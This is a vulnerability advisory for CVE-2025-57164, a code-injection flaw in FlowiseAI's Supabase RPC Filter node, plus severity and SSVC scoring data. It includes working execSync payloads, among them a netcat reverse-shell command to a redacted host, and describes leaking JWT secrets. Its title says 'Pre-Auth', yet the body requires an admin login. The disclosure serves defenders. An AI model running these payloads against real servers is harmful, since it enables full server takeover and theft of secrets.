Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-7944-7c6r-55vv
Advisory ID github_osv/GHSA-7944-7c6r-55vv
Aliases CVE-2025-57164
Summary FlowiseAI Pre-Auth Arbitrary Code Execution ## Summary An authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution. This results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic. ## Details FlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237` <img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" /> This creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered. ### Exploit We configured our environment to use Supabase entities as follows: <img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" /> To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables: <img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" /> ![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6) ![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e) This results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables. Subsequently, a **reverse shell** was successfully established using: `filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)` <img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" /> This proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**. ## Steps to Reproduce 1. Deploy a FlowiseAI instance with the Supabase vector store enabled. 2. Login as an admin user. 3. Drag in a `Supabase` node and configure "Supabase RPC Filter". 4. Insert a malicious payload in the filter expression, such as: `process.mainModule.require("child_process").execSync("id")` 5. Trigger the chatbot or workflow to activate the node. 6. Observe execution of arbitrary code on the backend. ## Impact - **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input. - **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`. - **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access. - **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data. - **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains. ## Trust Boundary Violation The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution. This violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents. ## Evidence *Environment variable leakage via malformed JSON* *Reverse shell successfully triggered using attacker-controlled input* ## Credit **This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**
Status Published
Exploitability 0.5
Weighted Severity 8.2
Risk 4.1
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-7944-7c6r-55vv/GHSA-7944-7c6r-55vv.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2025-10-17T19:30:36Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/57xxx/CVE-2025-57164.json

Source Advisory: vulnrichment/CVE-2025-57164

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]